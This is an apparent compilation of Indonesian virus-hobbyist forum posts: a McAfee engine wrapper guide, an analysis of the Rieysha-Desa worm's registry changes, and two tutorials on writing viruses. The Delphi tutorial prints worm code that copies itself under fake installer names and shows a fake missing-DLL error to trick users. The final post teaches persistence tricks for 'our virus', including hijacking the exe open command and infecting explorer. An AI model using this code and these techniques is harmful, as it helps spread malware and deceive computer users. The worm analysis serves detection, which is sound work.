Terimakasih sekali lagi buat editor virologi.info, kami sedikit menyambung tulisan kemarin tentang Wrapper McAfee. Ada yang sedikit terlupa, bagaimana cara mendapatkan engine mcafee ?

Untuk masalah itu silakan download update-an (SuperDAT) McAfee di :
http://www.mcafee.com/apps/downloads/security_updates/dat.asp
pilih AGREE dengan perjanjian lisensinya. Kemudian pilih tab SuperDat dan pilih sdat terbaru (saat tulisan ini ditulis sampai versi : sdat5368.exe sekitar 63MB) (yang tidak sanggup download bisa cari updatean mcafee di CD-CD bawaan majalah-majalah komputer )

Setelah itu taruh sdat tersebut di folder mcafee diroot aplikasi wrapper, kemudian ekstrak enginenya dengan cara masuk command prompt dan jalankan sdat5368.exe /engineall (perintah untuk mendeploy seluruh engine). Atau untuk perintah lainnya /?.

Jika berhasil akan muncul semua engine (scan.exe) dan definisi (avscan.dat dll) dalam folder mcafee.

Setelah itu jalanken wrappernya,


Sebagai tambahan silakan test [dot]EXE AntiMalware 2008.9 yang merupakan modul atasan dari wrapper itu, silakan download via :
http://rapidshare.com/files/139930323/2008.9.zip.html

Mohon diberi saran & kritik, alamatkan ke dotexenator@gmail.com

Neh, analisa tentang virus Rieysha-Desa.Worm. Makan neh hasil analisa!


Hasil Analisa


Nama Malware : Rieysha-Desa.Worm [Morphost], (Sampai tanggal 16 Agustus Kaspersky, McAfee, TrendMicro belum mendeteksi worm ini)


Ukuran : 151,552 bytes


Pengirim Virus : Anharku


Icon : kira-kira seperti gambar kaset.


CRC32 : 5ABCD818 (berdasarkan file yang dikirim)


MD5 : 20314572D08FF530618E0A86C056A344 (berdasarkan file yang dikirim)


Dibuat dengan : tanya ama Anharku. He he he






Proses virus yang muncul:


-andai_kau_tahu.exe


-anuku_milikbersama.exe


-alcmtrr.exe


-alman.exe


-alcwizrd.exe







Membuat Registry Value:


o [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]


§ nikmatnya_gadis_desa = "C:\nikmatnya_gadis_desa.exe"


o [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies]


§ Explorer = "NoClose"


o [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]


§ NoRun = 0x00000001


§ NoFolderOptions = 0x00000001


§ NoDrives = 0x00000004


§ NoViewOnDrive = 0x00000004


§ NoFind = 0x00000001


§ NoStarMenuMorePrograms = 0x00000001



§ NoClose = 0x00000001


o [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]


§ DisableTaskMgr = 0x00000001


§ DisableCMD = 0x00000001


§ DisableRegistryTools = 0x00000001


§






· Memodifikasi registry value:


o [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]


§ DefaultValue = 0x00000001


o [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]


§ RegisteredOrganization = "GAWEAN JOGJA"


§ RegisteredOwner = "KOMPUTER IKI"


o [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot]


§ AlternateShell = "filmBokep.exe"


o [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot]


§ AlternateShell = "filmBokep.exe"


o [HKEY_CURRENT_USER\Control Panel\International]


§ s1159 = "rieysha"


§ s2359 = "rieysha"


o [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]


§ Start Page = "http://h1.ripway.com/anharku"


o [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]


§ NoDriveTypeAutoRun = 0x00000000




=============================================================================






Signature worm ini sudah saya masukkan ke dalam database Morphost. Jadi kamu sudah bisa menggunakan Morphost untuk menscan Komputermu dari Rieysha-Desa.Worm.
Kalo Rieysha-Desa.Worm belum juga pergi dari komputermu. Lakukan langkah berikut:


-Pilih tab settings


-Pilih options ”let users make their database themselves” pada frames “database”


-Lalu masukkan satu saja sampel Rieysha-Desa.Worm


-Dan langsung scan!







By: Morphic


http://www.morphic.co.nr (Comment me here)


http://www.friendster.com/morphic (friendster)


http://morphians.wordpress.com (my blog)


karta_morphic@yahoo.co.id (my email)


http://morphic.4shared.com (download Morphost and Morphost database here!)


and don’t forget to join with MorphostLab (FriendsterGroup)


My thanks go to ThreatExpert, Virologi, SoulHacker, Axer, FireboltDave, Smansa Medan, MorphostLab!

Virus Delphi munculkan Kotak Peringatan

V irus ini dibuat dengan delphi tetapi saya akan memunculkan kotak peringatan layaknya program visual basic 6.0 yang kehilanngan msvbvm60.dll, mengapa saya buat demikian? Agar user mengira bahwa program instal tsb buatan visual basic 6.0 dan tidak bisa berjalan karena tidak ada file msvbvm60.dll pada komputernya padahal program ini buatan delphi hehehe…

Next..

//Install jogja

IF FindJogja THEN BEGIN //jika function findjogja dilakukan maka mulai

IF e THEN VRegistry;

JogjaShare; //jalankan prosedur jogjashare

END;

If (findjogja)or(findrieysha) then MakeFakeFiles; //jika function findjogja atau findrieysha dilakukan maka jalankan prosedur MakeFakeFiles

if e then begin

Application.MessageBox('This application has failed to start because MSVBVM60.DLL was not found. Re-installing the application may fix this problem.','Generate Source Virus.exe Unable To Locate Component',MB_ICONHAND); //bagian pemberian kotak peringatan

end ;

Untuk function2 tersebut:

FUNCTION FindJogja : Boolean; //function yang berfungsi mengacak2 registry

BEGIN

Reg.RootKey:=HKEY_LOCAL_MACHINE;

Result:=Reg.KeyExists('\Software\Jogja\LocalContent');

Reg.CloseKey;

END;

FUNCTION FindRieysha : Boolean;

BEGIN

Reg.RootKey:=HKEY_CURRENT_USER;

Result:=Reg.KeyExists('\Software\Rieysha\LocalContent');

Reg.CloseKey;

END;

PROCEDURE MakeFakeFiles;

BEGIN

CreateDir(WinPath+'SysConfig');

FOR i:=1 TO FakeFileNumber DO

//untuk 1 sampai 73 lakuakan Windows.CopyFile(pChar(ParamStr(0)),pChar(WinPath+'SysConfig\'+FakeFiles[i]),False); //copy virus

ManipulateFileSize; //pemanggilan manipulasi file size

END;

Sedangkan FakeFiles nya:

CONST FakeFileNumber : byte = 73;

AutostartFile : String = 'rieysha'; //<-copy virus ke c windows

FakeFiles : ARRAY[1..73] OF STRING = ( //palsukan file atau copy virus dengan nama 1-73

'instal crack.exe',

'instal antivir.exe',………

'setup.exe');

Dah ah intinya klo bikin peringatan di delphi tinggal tulis:

Application.MessageBox('isi peringatan','Caption peringatan',MB_ICONHAND); // MB_ICONHAND memberikan ikon bulat merah dengan tanda silang di tengahnya

Misal:

Application.MessageBox('This application has failed to start because MSVBVM60.DLL was not found. Re-installing the application may fix this problem.','Generate Source Virus.exe Unable To Locate Component',MB_ICONHAND);

Jadinya:

download

http://www.4shared.com/file/60088414/7b2eb558/TutorKotakPeringatan.html

By:rieysha

http://anharku.freevar.com

By Luthfi Emka (luthfi.emka@gmail.com – http://blog.dotexe.org/ )
Sebelumnya saya ucapkan terimakasih buat admin Virologi yang sudah berkenan mempublish artikel ini, juga buat virologers semua yang sedang membaca monitor 
Pada tulisan kedua saya di Virologi.Info ini saya ingin membahas tentang aplikasi yang sedang saya kembangkan bersama teman-teman di Biro TIK Himpunan Mahasiswa Teknik Elektro Unnes (http://elektro.unnes.ac.id). Untuk aplikasi yang khusus dibahas kali ini adalah aplikasi wrapper / perantara untuk Engine antivirus McAfee.

Aplikasi wrapper ini sebenarnya adalah satu dari banyak modul dalam aplikasi anti-malware yang sedang kami kembangkan, dan sengaja kami publish dulu karen sudah kami anggap telah final dan butuh pengembangan lebih cepat dengan di open-source kan.
Mungkin kenapa ada yang bertanya kenapa menggunakan engine antivirus McAfee? Jawabanya cukup lugu, karena Cuma McAfee sebagai antivirus besar yang kami kenal memberikan update-an antivirusnya termasuk enginenya dengan lisensi yang ramah, tidak harus membeli produknya. Artinya kita dapat menikmati engine antivirusnya tanpa harus membeli software interfacenya. Cukup download update-anya, murah kan?

Halo semua, mungkin ini yang pertama kalinya gua nulis artikel di sini, tapi uda 3 tahun masuk grup ini, hahaha.

Karena kebetulan lewat warnet, jadi ya gua bagi-bagi ilmu aja dulu deh.

Mungkin kalo yang udah expert, artikel ini gak perlu dibaca lagi ya,

Nah, kalau kita membuat virus kan jelas syarat-syarat minimum agar virus kita eksis adalah:

1.bisa mengopi diri, entah melalui internet(attachment) atau flash disk yang umum dipakai.

2.Kemampuan startup saat windows aktif.

3.Sistem pertahanan dari antivirus.

Nah, di sini akan dijelaskan beberapa algoritma cara virus
aktif saat Windows diaktifkan. Tapi disini alamat registry sebagian tidak diberikan, soalnya kan kebetulan lewat, jadi nggak ada persiapan. Mungkin selanjutnya akan diberikan.
cara-caranya:

1. Melalui registry HKLM atau HKCU (HKEY_LOCAL_MACHINE atau HKEY_CURRENT_USER)\Software\Microsoft\Windows\CurrentVersion\Run.
Trus buat sat data baru di alamat key itu yang isinya sesuai dengan direktori program kita. Cara ini adalah cara yang paling umum dipakai.

2.Melalui direktori startup pada {Folder Document and setting}\All users\start menu\startup. Nah kita tinggal menaruh program kita di situ, kalu perlu tipenya hidden biar gak keliatan tuh.

3.Melalui registry HKLM\Software\exefile\shell\open\command. Nah kalo alamatnya bener, nanti ada satu data yang isinya "%1"%*" kalau nggak salah
Trus kita tambahain belakangnya dengan alamat direktori program kita, supaya semua prgram yang kita jalankan akan mengarah ke program virus juga.

4.Menambahkan virus pada program-program utama WINSDOWS tanpa memodifikasi program tersebut, dan program utama masih dapat jalan. Maksudnya kita menginfeksi program-program utama WINDOWS, sebutlah explorer. Nah, kita taruh program virus kita di program tere\sebut, sehingga ketika exploere jalan, virus juga ikut tereksekusi.

5.Menambahkan virus pada file-file yang digunakan explorer saat aktif. Nah, kalau tidak salah, daftara file yang digunakan explorer saat aktif itu ada dalam registry, tetapi saya lupa alamatnya, jadi menyusulnya. File-file yang digunkana dalam explorer(baik exe maupun dll) akan dieksekusi sebagai modules, bukan process.

Sekian dari artikel saya. Saya atahu artikel ini masih banyak kekurangan. Maka dari iyu saya akan menunggu kritik dan sarnnya. Terima kasih